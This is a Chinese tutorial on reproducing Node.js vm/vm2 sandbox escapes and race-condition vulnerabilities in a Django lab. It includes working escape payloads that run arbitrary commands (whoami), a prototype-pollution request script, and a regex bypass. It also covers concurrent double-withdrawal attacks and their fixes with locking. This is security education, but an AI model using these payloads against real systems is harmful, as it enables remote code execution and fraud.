JS沙箱繞過以及競爭條件型漏洞復(fù)現(xiàn)
一、沙箱繞過
1.概念
沙箱繞過"是指攻擊者利用各種方法和技術(shù)來規(guī)避或繞過應(yīng)用程序或系統(tǒng)中的沙箱(sandbox)。沙箱是一種安全機制,用于隔離和限制應(yīng)用程序的執(zhí)行環(huán)境,從而防止惡意代碼對系統(tǒng)造成損害。它常被用于隔離不受信任的代碼,以防止其訪問敏感數(shù)據(jù)或?qū)ο到y(tǒng)進行未授權(quán)的操作。
當(dāng)攻擊者成功繞過沙箱時,他們可以在受影響的系統(tǒng)上執(zhí)行惡意代碼,并且有可能獲取敏感信息、傳播惡意軟件、執(zhí)行拒絕服務(wù)攻擊或利用系統(tǒng)漏洞等。
2.例題分析
2.1vm模塊例題1(利用上下文對象或this指向)
先說一下最簡單的vm模塊,vm模塊是Node.JS內(nèi)置的一個模塊。理論上不能叫沙箱,他只是Node.JS提供給使用者的一個隔離環(huán)境。
示例
const vm = require('vm'); const script = `...`; const sandbox = { m: 1, n: 2 }; const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res)
其實逃逸出沙箱就一種方法,就是拿到沙箱外部的變量或?qū)ο?,然后?toString方法和.constructor 屬性來獲取Function這個屬性,然后拿到process,之后就可以執(zhí)行任意代碼了
這道例題可以直接拿this,因為這里沒有方法使用了this,此時this指向global,構(gòu)造如下payload
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()
this.toString.constructor就是Function這個方法,然后利用Function返回process對象
然后調(diào)用子模塊執(zhí)行命令,成功繞過沙箱
這里可能會有疑問,為什么不用m、n來獲取Function呢,m、n變量都是在外部定義的啊
這個原因就是因為primitive types,數(shù)字、字符串、布爾等這些都是primitive types,他們的傳遞其實傳遞的是值而不是引用,所以在沙盒內(nèi)雖然你也是使用的m,但是這個m和外部那個m已經(jīng)不是一個m了,所以也是無法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},這樣m、n、x就都可以利用了。
最終用nodejs執(zhí)行下面的代碼
const vm = require('vm'); const script = ` const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString() `; const sandbox = { m: 1, n: 2 }; const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res)
成功執(zhí)行
2.2vm模塊例題2(利用toString屬性)
const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
這道例題的this指向就變?yōu)閚ull了,無法獲取Function屬性,上下文中也沒有其他對象
此時我們可以借助arguments對象。arguments是在函數(shù)執(zhí)行的時候存在的一個變量,我們可以通過arguments.callee.caller獲得調(diào)用這個函數(shù)的調(diào)用者。
arguments.callee是遞歸調(diào)用自身,.caller是一個指向調(diào)用當(dāng)前函數(shù)的函數(shù)的引用。它提供了一種查找調(diào)用棧的方式,可以追溯到調(diào)用當(dāng)前函數(shù)的函數(shù)。所以我們可以使用此方法來獲取Function。
那么如果我們在沙盒中定義一個函數(shù)并返回,在沙盒外這個函數(shù)被調(diào)用,那么此時的arguments.callee.caller就是沙盒外的這個調(diào)用者,我們再通過這個調(diào)用者拿到它的constructor等屬性,就可以繞過沙箱了。
構(gòu)造如下payload
(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()
這道題的巧妙之處就在于最后的console.log('Hello ' + res),此時res不是字符串,而當(dāng)一個字符串與另一個非字符串結(jié)合時,會把res轉(zhuǎn)為字符串,相當(dāng)于res.toString,此時就調(diào)用了我們payload里面的函數(shù),執(zhí)行了命令
如果沒有最后的console.log('Hello ' + res)這一句代碼呢,我們還可以使用Proxy來劫持所有屬性,只要沙箱外獲取了屬性,我們?nèi)匀豢梢杂脕韴?zhí)行惡意代碼,這里就不演示了
2.3vm2模塊例題1(觸發(fā)調(diào)用棧溢出異常)
但前兩個例題主要說的是vm模塊,vm本不是一個嚴格沙箱,只是隔離環(huán)境而已。而vm2是一個正經(jīng)沙箱,難度相較于vm大得多
這道例題是用觸發(fā)外部異常的方式來繞過的,但是vm2版本必須是在3.6.10之前
這個方法有趣的地方就在于,他是想辦法在沙箱外的代碼中觸發(fā)一個異常,并在沙箱內(nèi)捕捉,這樣就可以獲得一個外部變量e,再利用這個變量e的constructor執(zhí)行代碼。
而觸發(fā)異常的方法就是“爆調(diào)用棧”,JavaScript在遞歸超過一定次數(shù)時就會拋出異常。
但我們需要保證的是:拋出異常的這個函數(shù)是在host作用域中(即沙箱外)。在js執(zhí)行到1001次時,調(diào)用棧溢出,此時就會報錯
"use strict"; const {VM} = require('vm2'); const untrusted = ` const f = Buffer.prototype.write; const ft = { length: 10, utf8Write(){ } } function r(i){ var x = 0; try{ x = r(i); }catch(e){} if(typeof(x)!=='number') return x; if(x!==i) return x+1; try{ f.call(ft); }catch(e){ return e; } return null; } var i=1; while(1){ try{ i=r(i).constructor.constructor("return process")(); break; }catch(x){ i++; } } i.mainModule.require("child_process").execSync("whoami").toString() `; try{ console.log(new VM().run(untrusted)); }catch(x){ console.log(x); }
但是好像v8引擎遞歸的默認限制是10000次,等了10多分鐘也沒有反應(yīng)
因此沒有去復(fù)現(xiàn)這個例題
2.4vm2模塊例題(原型鏈污染+import動態(tài)導(dǎo)入)
const express = require('express'); const app = express(); const { VM } = require('vm2'); app.use(express.json()); const backdoor = function () { try { console.log(new VM().run({}.shellcode)); } catch (e) { console.log(e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code"); }); app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } }) app.listen(3000, function () { console.log('start listening on port 3000'); });
之前講過原型鏈污染,在這里就不贅述了
首先通過代碼審計發(fā)現(xiàn)merge、clone方法,那么大概率存在原型鏈污染,再看if條件,需要copybody有shit屬性,且為真才能進入backdoor()方法,再看backdoor()方法
const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } }
分析new VM().run({}.shellcode),需要{}有shellcode屬性,我們可以污染原型鏈來使空對象有shellcode屬性,然后還需要逃逸出沙箱,這里沒有上下文對象,我們可以使用動態(tài)導(dǎo)入元素的方法來繞過沙箱,構(gòu)造以下payload
{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js') res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}
用Python發(fā)送post請求
import requests import json url="http://192.168.239.138:3000/" headers={"Content-type":"application/json"} data={"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n res.toString.constructor(\"return this\")\n ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}} req=requests.post(url=url,headers=headers,data=json.dumps(data)) print(req.text)
最后成功復(fù)現(xiàn)(之前報錯是因為沒有寫打印語句)
2.5vm2模塊例題(正則繞過)
這道例題由于代碼不全,無法復(fù)現(xiàn),但是可以分析
const { VM } = require('vm2'); function safeEval(calc) { if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; } return new VM().run(calc); }
首先if判斷,如果輸入的calc參數(shù)沒有匹配上這個正則,那if條件就會判為真,返回null,如果匹配上了這個正則,那就會被替換為空,if條件就會判為假,最終return new VM().run(calc),所以我們需要匹配上這個正則才行
這個正則可以分三部分
- 第一部分是必須有Math這個關(guān)鍵字,最后的?代表0次或者1次,所以Math.xxx和Math是都可以匹配上的
- 第二部分是匹配了
+
、-
、*
、/
、&
、|
、^
、%
、<
、>
、=
、,
、?
、:
這些符號 - 第三部分是匹配了整數(shù)或者浮點數(shù),比如3.14,也可以使用科學(xué)計數(shù)法,比如3.9e3
這個正則可以說過濾得比較嚴格,但是我們也可以繞過
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()
分析這個代碼,首先正則肯定可以匹配上這段代碼
接下來我們再分析為什么會這樣寫
它創(chuàng)建了一個方法,形參Math,方法的內(nèi)容是先將Math.constructor賦值給Math,然后調(diào)用Math.constructor方法,內(nèi)容是Math.fromCharCode({gen(c)}),我們可以先不看gen(c),那么這個.fromCharCode方法有什么用呢?
這個方法可以將字符的ascii碼轉(zhuǎn)換為字符,這樣我們就可以繞過它的正則
最后傳參Math+1,這也可以被正則匹配上,那為什么要傳這個參數(shù)呢
因為Math+1返回的是一個字符串,而字符串的constructor屬性是toString方法,而toString方法的構(gòu)造函數(shù)就是Function,最后的()立即執(zhí)行。
然后便可以找到vm2對應(yīng)版本的payload,和正則繞過結(jié)合,便可以成功實現(xiàn)繞過
二、競爭型漏洞
1.概念
競爭條件型漏洞(Race Condition Vulnerability)是一種安全漏洞,它發(fā)生在多個進程或線程競爭訪問共享資源時的情況下。這種漏洞出現(xiàn)的根本原因是并發(fā)操作的不正確管理,導(dǎo)致了不可預(yù)料的結(jié)果。
簡單來說,競爭條件型漏洞可能在以下情況下出現(xiàn):
- 多個進程或線程在訪問共享資源(如文件、內(nèi)存、數(shù)據(jù)庫等)時沒有進行合適的同步控制。
- 這些進程或線程之間的執(zhí)行順序無法預(yù)測,因此可能會導(dǎo)致數(shù)據(jù)的不一致或程序行為異常。
2.環(huán)境搭建
這里我們使用ubuntu和Python3來復(fù)現(xiàn)漏洞,項目代碼在文章上方,解壓后cd進入目錄
注意這里還需要其他依賴環(huán)境,以下是需要使用pip3安裝的包,官方源下載速度慢,可以更換國內(nèi)源,我這里用的是阿里云的
root@localhost:~# vim /etc/pip.conf [global] index-url = https://mirrors.aliyun.com/pypi/simple/ [install] trusted-host=mirrors.aliyun.com
djangopytzpython-dotenvdj-database-urlpsycopg2-binarygunicorngeventdjango-bootstrap5waitress
一切準備就緒后,首先使用migrate生成數(shù)據(jù)庫表,其次創(chuàng)建超級用戶,這樣我們才能登錄后臺(后臺地址/admin),最后使用collectstatic命令生成前端代碼
python3 manage.py migrate python3 manage.py createsuperuser python3 manage.py collectstatic
然后進入templates目錄,vim form.html,修改form表單的enctype屬性為"multipart/form-data"
最后的最后使用下面的命令啟動服務(wù),端口號和ip可以自己更改,如果出現(xiàn)報錯,大概率是因為端口被占用或者沒有cd切換到對應(yīng)項目目錄下
gunicorn -w 2 -k gevent -b 0.0.0.0:8088 race_condition_playground.wsgi
啟動成功后就可以開始我們的實驗了
3.復(fù)現(xiàn)過程
3.1無鎖無事務(wù)的競爭攻擊
ucenter1是沒有任何防御的,無鎖無事務(wù) vim /app/ucenter/view.py
這里的css渲染沒有成功,不知道什么原因,重試了很多次依然沒用,但是不影響我們的操作
首先進入后臺,點擊user
然后點擊超級用戶名
然后在money這里添加你想要的錢數(shù)
然后save保存,之后訪問/ucenter/1,如果錢數(shù)正常就說明設(shè)置成功了
之后填入100,用bp抓包,抓包成功后復(fù)制粘貼到Y(jié)akit下,然后選擇并發(fā)配置,刪除不必要的字段
然后點擊發(fā)送請求,這里我第一次失敗了,第二次再發(fā)送就成功了
這時我們到后臺去看看
發(fā)現(xiàn)有兩次取款100記錄,然而我們的存款只有100,這樣就成功復(fù)現(xiàn)了
3.2無鎖有事務(wù)的競爭攻擊
ucenter2加上了事務(wù)
無鎖有事務(wù)也并不能防御競爭攻擊,事務(wù)只是能夠?qū)崿F(xiàn)操作要么成功要么不成功,并不能鎖住我們的進程
我們重新添加錢數(shù),抓包,和ucenter1操作一樣,這次我一次成功,結(jié)果很明顯,仍然存在競爭型漏洞
我們來查看后臺
兩次記錄,復(fù)現(xiàn)成功,仍然存在競爭型漏洞
3.3悲觀鎖加事務(wù)防御
ucenter3加上了悲觀鎖和事務(wù),悲觀鎖的含義是悲觀地認為一定會有進程來更新數(shù)據(jù),所以悲觀鎖會提前給進程加鎖
在處理表單數(shù)據(jù)之前,也就是前端剛提交數(shù)據(jù)后,就使用select for update和主鍵pk鎖住了這個進程,那這個時候讀操作也受到了影響。
那么我們再發(fā)包就沒用了,那我們再次測試看看
只有一次302跳轉(zhuǎn),也就是說只成功取款了一次,查看后臺,也只有一次記錄
但是這里有一個問題,如果有大量讀操作的場景下,使用悲觀鎖會有性能問題,因為每次訪問view,都會鎖住當(dāng)前用戶對象,此時其他用戶場景,比如訪問主頁,也會因此卡住。
這樣我們就可以使用樂觀鎖
3.4樂觀鎖加事務(wù)防御
樂觀鎖的含義是樂觀地認為不會有其他進程來更新數(shù)據(jù),而只是到了需要更新數(shù)據(jù)時,才會給進程加鎖
在前端提交表單數(shù)據(jù)后,樂觀鎖并沒有立即鎖住進程,而是在需要取款的時候使用update鎖住,這樣就不會出現(xiàn)讀操作也被禁止的問題了
我們來測試看看,并沒有出現(xiàn)競爭漏洞,只有一條302記錄
查看后臺,仍然只有一條記錄
通過這個實驗,我們便知道樂觀鎖加事務(wù)是防御競爭條件漏洞的最優(yōu)解
到此這篇關(guān)于JS沙箱繞過以及競爭條件型漏洞復(fù)現(xiàn)的文章就介紹到這了,更多相關(guān)JS沙箱繞過內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
淺談JavaScript中定義變量時有無var聲明的區(qū)別
這篇文章主要介紹了JavaScript中定義變量時有無var聲明的區(qū)別分析以及示例分享,需要的朋友可以參考下2014-08-08JavaScript+CSS無限極分類效果完整實現(xiàn)方法
這篇文章主要介紹了JavaScript+CSS無限極分類效果完整實現(xiàn)方法,涉及JavaScript針對頁面元素節(jié)點遍歷與動態(tài)操作技巧,需要的朋友可以參考下2015-12-12前端JavaScript實現(xiàn)本地模糊搜索功能的方法實例
對于模糊查詢,一般都是傳關(guān)鍵字給后端,由后端來做。但是有時候一些輕量級的列表前端來做可以減少ajax請求,在一定程度上提高用戶體驗,這篇文章主要給大家介紹了關(guān)于前端JavaScript如何實現(xiàn)本地模糊搜索功能的相關(guān)資料,需要的朋友可以參考下2021-07-07iframe里使用JavaScript控制主頁轉(zhuǎn)向的方法
這篇文章主要介紹了iframe里使用JavaScript控制主頁轉(zhuǎn)向的方法,涉及使用javascript實現(xiàn)iframe頁面跳轉(zhuǎn)的技巧,需要的朋友可以參考下2015-04-04